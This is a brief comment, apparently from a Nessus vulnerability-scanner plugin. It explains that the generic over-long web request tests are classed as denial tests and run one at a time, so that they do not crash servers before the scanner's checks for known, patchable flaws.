# All the www_too_long_*.nasl scripts were first declared as
# ACT_DESTRUCTIVE_ATTACK, but many web servers are vulnerable to them:
# The web server might be killed by those generic tests before Nessus
# has a chance to perform known attacks for which a patch exists
# As ACT_DENIAL are performed one at a time (not in parallel), this reduces
# the risk of false positives.
